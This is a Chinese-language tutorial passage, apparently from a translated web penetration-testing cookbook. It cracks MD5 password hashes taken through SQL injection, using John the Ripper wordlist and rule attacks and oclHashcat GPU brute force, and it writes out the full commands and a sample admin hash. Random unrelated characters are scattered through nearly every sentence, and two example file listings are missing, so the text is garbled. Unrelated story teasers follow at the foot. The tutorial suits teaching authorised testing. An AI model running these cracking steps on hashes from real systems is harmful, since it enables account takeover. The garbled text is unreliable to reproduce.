在上一個秘籍掐禁,以及第六章中怜械,我們從數(shù)據(jù)庫中提取了密碼哈希。在執(zhí)行滲透測試的時候傅事,有時候這是唯一的用于發(fā)現(xiàn)密碼的方式缕允。為了發(fā)現(xiàn)真實的密碼,我們需要破譯它們蹭越。由于哈希由不可逆的函數(shù)生成障本,我們沒有辦法直接解密密碼。所以使用慢速的方法响鹃,例如暴力破解和字典攻擊就很有必要驾霜。

這個秘籍中,我們會使用 John the Ripper(JTR 或 John)买置,最流行的密碼破解器粪糙,從第六章“逐步執(zhí)行基本的 SQL注入”秘籍中提取的哈希中恢復(fù)密碼。

操作步驟

  1. 雖然 JTR 對接受的輸入非常靈活忿项,為了防止錯誤解釋蓉冈,我們首先需要以特定格式設(shè)置用戶名和密碼哈希。創(chuàng)建叫做hashes_6_7.txt的文本文件倦卖,每行包含一個名稱和一個哈希洒擦,以冒號分隔(username:hash),像這樣:

  2. 一旦我們擁有了這個文件怕膛,我們可以打開終端并執(zhí)行下列命令:

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt
    

    我們使用 Kali 預(yù)置的單詞列表之一熟嫩。我們可以看到單詞列表中六個密碼發(fā)現(xiàn)了五個,我們也能發(fā)現(xiàn)褐捻,John 每秒能比較 10,336,000 次(10,336 KC/s)掸茅。

  3. John 也有選項來應(yīng)用修改器規(guī)則 -- 添加前后綴椅邓,修改大小寫,以及在每個密碼上使用 leetspeak昧狮。讓我們在仍然未破解的密碼上嘗試它們:

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules
    

    我們可以看到這個規(guī)則生效了景馁,我們得到了最后一個密碼。

工作原理

John(以及任何離線密碼破解器)的工作方式是計算列表(或所生成的)單詞的哈希逗鸣,并將它們與需要被破解的哈希對比合住,當(dāng)存在匹配時,它就假設(shè)密碼找到了撒璧。

第一個命令使用--wordlist選項告訴 John 要使用什么單詞透葛。如果忽略了它卿樱,它會生成自己的列表來執(zhí)行爆破攻擊僚害。--format選項告訴我們要使用什么算法來生成哈希,如果這個選項被忽略繁调,John 會猜測它萨蚕,通常帶有不錯的結(jié)果。最后蹄胰,我們將包含想要破解的哈希的文件傳入岳遥。

  1. 我們可以通過使用--rules選項來增加找到密碼的機(jī)會,因為在嘗試創(chuàng)建更強(qiáng)的密碼來破解的時候烤送,它會使用人們對單詞所做的常用修改寒随。例如,對于password帮坚,John也會嘗試下面的東西:
  • Password
  • PASSWORD
  • password123
  • Pa$$w0rd

7.9 使用 oclHashcat/cudaHashcat 爆破密碼哈希

最近妻往,顯卡的發(fā)展取得了巨大突破,這種芯片中含有成百上千個處理器试和,它們都并行工作讯泣。這里,當(dāng)應(yīng)用在密碼破解上是阅悍,這意味著好渠,如果單個處理每秒可以計算一萬個哈希,一個帶有上千內(nèi)核的 GPU 就能夠計算一千萬個节视。這可以將破解時間降至一千分之一拳锚。

現(xiàn)在我們使用 Hashcat 的 GPU 版本來爆破密碼。如果你在 N 卡的電腦上安裝的 Kali寻行,你需要 cudeHashcat霍掺。如果它安裝在 A 卡的電腦上,則需要 oclHashcat。如果你在虛擬機(jī)上安裝 kali杆烁,GPU 破解可能不工作牙丽,但是你始終可以在你的主機(jī)上安裝它咐扭,Windows 和 Linux 上都有它的版本续誉。

這個秘籍中,我們會使用 oclHashcat锐墙,它和 cudaHashcat 的命令沒有區(qū)別析校,雖然 A 卡對于密碼破解更加高效构罗。

準(zhǔn)備

我們需要確保你正確安裝了顯卡驅(qū)動,oclHashcat 也兼容它們勺良,所以你需要做這些事情:

  1. 單獨運(yùn)行 oclHashcat绰播,如果出現(xiàn)問題它會告訴你骄噪。

    oclhashcat 
    
  2. 測試它在跑分模式中支持的每種算法的哈希率尚困。

    oclhashcat --benchmark 
    
  3. 取決于你的安裝,oclHahcat 可能需要在你的特定顯卡上強(qiáng)行工作:

    oclhashcat --benchmark --force
    

我們會使用上一個秘籍的相同哈希文件链蕊。

Kali 默認(rèn)安裝的 oclHashcat 上有一些問題事甜,所以如果你在運(yùn)行 oclHashcat 的時候出現(xiàn)了問題,你始終可以從官網(wǎng)上下載最新版本滔韵,并從你解壓的地方直接運(yùn)行(http://hashcat.net/ oclhashcat/)逻谦。

操作步驟

  1. 我們首先破解單個哈希,讓我們試試admin的哈希:

    oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3
    

    你可以看到陪蜻,我們能夠直接從命令行中設(shè)置哈希邦马,它會在一秒之內(nèi)破解出來。

  2. 現(xiàn)在宴卖,為了破解整個文件滋将,我們需要去掉用戶名,只保留哈希症昏,像這樣:

    我們創(chuàng)建了只包含哈希的新文件随闽。

  3. 為了破解文件中的哈希,我們只需要在上一條命令中將哈希替換為文件名稱肝谭。

    oclhashcat -m 0 -a 3 hashes_only_6_7.txt
    

    你可以看到掘宪,它在三分鐘之內(nèi)涵蓋了一到七個字符的所有組合(每秒破解 6.885 億個哈希)。并且它需要花費(fèi)多于兩個小時來測試八個字符的所有組合攘烛。這對于爆破來說十分有效魏滚。

工作原理

在這個秘籍中,我們用于執(zhí)行oclHahcat的參數(shù)定義了要使用的哈希算法:-m 0告訴程序使用 MD5 來計算所生成單詞的哈希坟漱,以及攻擊類型鼠次,-a 3的意思是我們打算使用純爆破攻擊,并嘗試所有可能的字符組合,直到發(fā)現(xiàn)了密碼须眷。最后竖瘾,我們在第一種情況中添加了我們打算破解的哈希,第二種情況中我們添加了包含哈希集合的文件花颗。

oclHahcat 也可以使用字典文件來執(zhí)行混合攻擊(爆破加上字典)來定義要測試哪個字符集捕传,并將結(jié)果保存到指定文件中(/usr/share/oclhashcat/oclHashcat.pot)。他也可以對單詞應(yīng)用規(guī)則扩劝,并使用統(tǒng)計模型(馬爾科夫鏈)來增加破解效率庸论。使用--help命令來查看所有選項,像這樣:

oclhashcat --help
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末棒呛,一起剝皮案震驚了整個濱河市聂示,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌簇秒,老刑警劉巖鱼喉,帶你破解...
    沈念sama閱讀 221,576評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異趋观,居然都是意外死亡扛禽,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,515評論 3 399
  • 文/潘曉璐 我一進(jìn)店門皱坛,熙熙樓的掌柜王于貴愁眉苦臉地迎上來编曼,“玉大人,你說我怎么就攤上這事剩辟∑。” “怎么了?”我有些...
    開封第一講書人閱讀 168,017評論 0 360
  • 文/不壞的土叔 我叫張陵贩猎,是天一觀的道長熊户。 經(jīng)常有香客問我,道長融欧,這世上最難降的妖魔是什么敏弃? 我笑而不...
    開封第一講書人閱讀 59,626評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮噪馏,結(jié)果婚禮上麦到,老公的妹妹穿的比我還像新娘。我一直安慰自己欠肾,他們只是感情好瓶颠,可當(dāng)我...
    茶點故事閱讀 68,625評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著刺桃,像睡著了一般粹淋。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,255評論 1 308
  • 那天桃移,我揣著相機(jī)與錄音屋匕,去河邊找鬼。 笑死借杰,一個胖子當(dāng)著我的面吹牛过吻,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播蔗衡,決...
    沈念sama閱讀 40,825評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼纤虽,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了绞惦?” 一聲冷哼從身側(cè)響起逼纸,我...
    開封第一講書人閱讀 39,729評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎济蝉,沒想到半個月后杰刽,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,271評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡堆生,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,363評論 3 340
  • 正文 我和宋清朗相戀三年专缠,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片淑仆。...
    茶點故事閱讀 40,498評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖哥力,靈堂內(nèi)的尸體忽然破棺而出蔗怠,到底是詐尸還是另有隱情,我是刑警寧澤吩跋,帶...
    沈念sama閱讀 36,183評論 5 350
  • 正文 年R本政府宣布寞射,位于F島的核電站,受9級特大地震影響锌钮,放射性物質(zhì)發(fā)生泄漏桥温。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,867評論 3 333
  • 文/蒙蒙 一梁丘、第九天 我趴在偏房一處隱蔽的房頂上張望侵浸。 院中可真熱鬧,春花似錦氛谜、人聲如沸掏觉。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,338評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽澳腹。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間酱塔,已是汗流浹背沥邻。 一陣腳步聲響...
    開封第一講書人閱讀 33,458評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留羊娃,地道東北人谋国。 一個月前我還...
    沈念sama閱讀 48,906評論 3 376
  • 正文 我出身青樓,卻偏偏與公主長得像迁沫,于是被迫代替她去往敵國和親芦瘾。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,507評論 2 359

推薦閱讀更多精彩內(nèi)容